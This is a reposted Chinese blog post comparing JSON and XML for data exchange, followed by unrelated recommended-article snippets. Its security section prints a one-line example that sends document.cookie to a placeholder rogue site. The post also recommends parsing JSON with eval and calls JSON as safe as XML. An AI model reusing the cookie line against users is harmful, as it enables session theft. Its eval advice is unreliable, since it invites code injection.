json与xml对比_你是不是傻啊的博客-程序员秘密_json和xml 数据量

技术标签: 扩展  xml  xmlhttprequest  json  api  javascript  Android  

曾几何时,XML是程序员的宠儿,是数据传输、API、AJAX应用等方面的不二选择,但自从JSON横空出世后,或者你会发觉你身边就有很多人开始抛弃XML,在他们的心目中,JSON已经完全取代了XML的位置。JSON有很多优势,但也存在缺点,而XML虽然确实存在不少问题,但孰优孰劣,并不是可以依据个人喜好就轻易得出结论的。

JSON(Javascript Object Notation) 是一种轻量级的数据交换格式。易于人阅读和编写。同时也易于机器解析和生成。它基于Javascript Programming Language, Standard ECMA-262 3rd Edition – December 1999的一个子集。JSON采用完全独立于语言的文本格式,但是也使用了类似于C语言家族的习惯(包括C, C++, C#, Java, Javascript, Perl, Python等)。这些特性使JSON成为理想的数据交换语言。 正是因为这样,twitter已经声称他们的流媒体API将不再支持XML,Foursquare则强烈推荐开发者在使用他们的API时选择JSON,因为他们计划下一代接口只支持JSON。

老k博客将从下面几个方面来客观比较一下两者

  • 1. 可读性
  • 2. 是否易于在服务端创建数据
  • 3. 是否易于在客户端处理数据
  • 4. 扩展性
  • 5. 调试和故障排除
  • 6. 安全

可读性

两者都具备很好的可读性,但从实际应用出发,个人还是觉得XML文档的可读性无疑会更高,要求你从一大堆的json代码里看出它的结构层次关系还是相对比较困难的;而且现在很多的IDE工具都可以把XML格式化成易读的结构形式,看起来相当舒服,而json则不然。在这一方面我投XML一票。

是否易于在服务端创建数据

XML已经流行了好多年了,故目前流行的编程语言都已经存在大量的XML数据绑定API去进行创建XML,以java语言为例,你既可以用JAXB,又可以用XmlBeans,又或者dom4jjdom等去把数据写到xml文件中。而另一方面,json这一方面的API则相对是一个全新的领域,尽管如此,json官方网站还是列出了很多令人印象深刻的各种语言的API,java方面比较著名的有json-lib,此外gson也算一个。在这一方面,虽然json相对于XML并不是望尘莫及,但还是略微逊色一筹,尤其是在复杂的应用方面,XML方面的API已经存在多年,相对来说成熟稳定得多了。

是否易于在客户端处理数据

在客户端,要处理XMLHttpRequest请求返回的json格式响应数据是一件轻而易举的事情,只需要使用javascript的eval函数就可以实现把json格式的数据转换成javascript对象,然后通过对象的属性去访问值,这就是json最优雅之处,无数人为之着迷。而XML在这一方面就不是那么的友善了,曾令无数的程序员头痛不已,因为处理XML响应数据,你得通过DOM树,这是非常繁琐且容易出错的工作。这一点,我毫不犹豫地选择json。

扩展性

可扩展性有助于减少生产者与消费者之间的数据耦合。在AJAX应用里,客户端脚本应该合理地兼容不可知的数据扩展。

毫无疑问,XML是可扩展的,但它的扩展是有局限的,因为如果你要适应扩展的话,那么你的客户端代码不得不作出相应的改动,如以下的客户端解析代码


var xml = xhr.responseXML;
 var elements = xml.getElementsByTagName("firstName");
 var firstNameEl = elements[0];
 var lastNameEl = firstNameEl.nextSibling;

如果你在响应xml中<firstName>结点后增加了<middlename>这一结点的话,那以上的代码就要作相应的改变,否则会出错,也就是说,XML的扩展得伴随着解析代码的变更,这可没有什么魔法可言。而json则简单得多,即使你要增加middleName这一属性,在js客户端依然是通过对象访问属性值即可,而不会引起js上的语法出错之类的错误,导致程序无法执行。

调试和故障排除

这方面需要从服务端和客户端两方面进行考虑,在服务器端,要确保数据是格式良好的和有效的;在客户端,它应该容易调试错误的。

使用XML的话会相对容易地检查数据被发送到客户端是格式良好的和有效的。您还可以使用数据架构(schema)来验证xml的正确性和有效性。使用JSON,这个任务是手动的,并涉及验证响应对象中是否包含正确的属性。

在客户端,要从两者中找到错误都是比较困难的。对于XML,浏览器是完全无法将xml格式化成responseXML;如果对于数据量较少的json数据,还可以通过firebug来发现错误,但对于大数据量的话,那只能靠手工检查了,否则也只能坐以待毙了。
安全性

有人认为,使用json是不安全的,原因是json里可以包含js代码,而客户端中使用eval可以使这些代码执行,而这些代码可能会存在安全隐患。如以下的代码:

window.location = "<a href="http://badsite.com/">http://badsite.com</a>?" + document.cookie;
 person : {
 "firstName" : "Subbu",
 "lastName" : "Allamaraju"
 }

上面的代码会导致浏览器把用户的cookie数据提交到一个流氓网站。但出现这种情况的可能只会是开发者故意为之,别人是无法这样做的,但如果是开发者有意为之的话,那他一样以别的方式来实现把你的cookie数据提交到流氓网站,这与是否使用json无关,所以相对于XML,json是同样的安全的。

我的结论

面向数据的应用,个人比较喜欢使用json,因为它简单和易于在客户端进行处理,或者xml在服务器是无与伦比的,但json在客户端的优势也是很明显的。

另外,json官方也有一篇专门比较两者的文章,大家可以参考一下:《JSON: The Fat-Free Alternative to XML

转载: http://www.laokboke.net/2011/10/30/json-vs-xml/













版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/aeolus1019/article/details/8002491

智能推荐

使用TensorFlow训练神经网络识别MNIST数据代码_gaoyueace的博客-程序员秘密

代码可在https://github.com/TimeIvyace/MNIST-TensorFlow.git中下载,程序名为train.py。以下代码实现了使用TensorFlow搭建神经网络解决MNIST手写体数字识别问题,此神经网络使用了激活函数去线性化,本身为三层全连接结构,带有指数衰减的学习率以及L2正则化损失函数,同时使用滑动平均模型进行优化。import tensorflow

wordpress搭建博客上传begin主题The themes is locked to another domain_weixin_34049948的博客-程序员秘密

如题, 在使用wordpress搭建个人博客过程中, 上传begin主题, 出现如下弹框的错误, 而且样式有误.环境:  Los Angeles  CentOS 7 x64  nginx+mysql解决:  检查网站conf文件, 把里面非绑定域名删除或者将使用该主题的域名加上,重启nginx,再试。文件内容大致如下:  user www www;...

量子密码_Justinhhhh的博客-程序员秘密_量子密码的主流算法

量子密码量子黑体辐射:催生了“量子论”,普朗克的划时代意义的论文《正常光谱能量分布律理论》,得到的重要结论:能量是由确定数目的、彼此相等的、有限的能量包构成。一个物理量如果存在最小的不可分割的基本单位,则这个物理量是量子化的,并把最小单位称为量子。“量子化”指其物理量的数值是离散的,而不是连续的任意取值。光子就是一种量子,并且是量子密码学中常使用的量子。量子计算与量子计算机1.量子计算有关的量子态的基本特性量子态的叠加(superposition)干涉(interference)纠缠

APUE学习(五):线程与进程(API与概念部分)_席喜思的博客-程序员秘密

这个主要针对进程线程的api和概念来讲的,了解了后边碰到线程同步以及进程通信从原理上就会有个认识(一)控制原语进程&线程控制原语比较进程原语线程原语描述forkpthread_create创建。从创建上可以看出两者的

记我的第一次腾讯游戏策划面试_weixin_34087307的博客-程序员秘密

2014.4.16上午12点我迎来了人生中的第一次单面面试官是昨天群面的面试官,我以为他不懂游戏的,结果面完发现很有可能是某个项目组的BOSS怎么说呢,面试的时候因为准备不是特别充分,很多问题后来一想会有更好的答案,在这里记录一下,供后人参考吧首先会问你性格相关的问题:1、你最近2年遇到的比较大的挫折是什么。你怎么处理这个挫折,你从这个挫折中学到了什么?2、你有没有做过什么比较...

matlab num2char,Matlab coder num2str not supported_weixin_39819327的博客-程序员秘密

可以将文章内容翻译成中文,广告屏蔽插件可能会导致该功能失效(如失效,请关闭广告屏蔽插件后再试):问题:I am trying to convert a Matlab project into C++ by using Matlab coder. I have few places in my code that I use num2str function. But when trying to ...

随便推点

21_Numpy进行矩阵运算(逆矩阵,行列式,特征值等)_饺子大人的博客-程序员秘密_numpy计算行列式

21_Numpy进行矩阵运算(逆矩阵,行列式,特征值等)使用NumPy在Python中执行矩阵运算很方便。可以使用标准的Python列表类型实现二维数组(列表列表),但是NumPy可以用于轻松计算矩阵乘积,逆矩阵,行列式和特征值。NumPy具有通用多维数组类numpy.ndarray和矩阵(二维数组)专用类numpy.matrix。ndarray和matrix都可以执行矩阵(二维数组)操作(矩阵乘积,逆矩阵等),但是使用矩阵可以更轻松地编写代码。如果您经常计算矩阵乘积和逆矩阵,则矩阵可能更易于描述

fabric工程项目构建Makefile翻译及解析_qq_42598039的博客-程序员秘密_fabric makefile

Makefile是构建编译fabric的入口,了解项目的构建过程,对整个工程了解以及做项目定制化都有意义Copyright IBM Corp All Rights Reserved.Copyright London Stock Exchange Group All Rights Reserved.SPDX-License-Identifier: Apache-2.0----------...

scala的可见性,隐式值以及异常处理_策马出凉州的博客-程序员秘密

可见性(了解)publicscala中没有public关键字,scala类和属性都是默认公开的。private修饰属性和方法class Student02 { private var id:Int=_ var name:String=_ def this(id:Int,name:String){ this() this.id=id...

技术向:一文读懂卷积神经网络_阿炜的博客-程序员秘密

自今年七月份以来,一直在实验室负责卷积神经网络(Convolutional Neural Network,CNN),期间配置和使用过theano和cuda-convnet、cuda-convnet2。为了增进CNN的理解和使用,特写此博文,以其与人交流,互有增益。正文之前,先说几点自己对于CNN的感触。先明确一点就是,Deep Learning是全部深度学习算法的总称,CNN是深度学习算法在图像处

风云格式工厂隐私政策_suncj518的博客-程序员秘密_格式工厂转换会泄露隐私嘛

影音格式转换隐私政策开发者:大连世纪成交科技服务有限公司发布日期:2021年9月27日更新日期:2021年9月27日生效日期:2021年9月27日本软件尊重并保护所有使用服务用户的个人隐私权。为了给您提供更准确、更有个性化的服务,本软件会按照本隐私权政策的规定使用您的个人信息。除本隐私权政策另有规定外,在未征得您事先许可的情况下,本软件不会将这些信息对外披露。本软件会不时更新本隐私权政策。您在同意本软件服务使用协议之时,即视为您已经同意本隐私权政策全部内容。本隐私权政策属于本软件服务使用协议不可分

推荐文章

热门文章

相关标签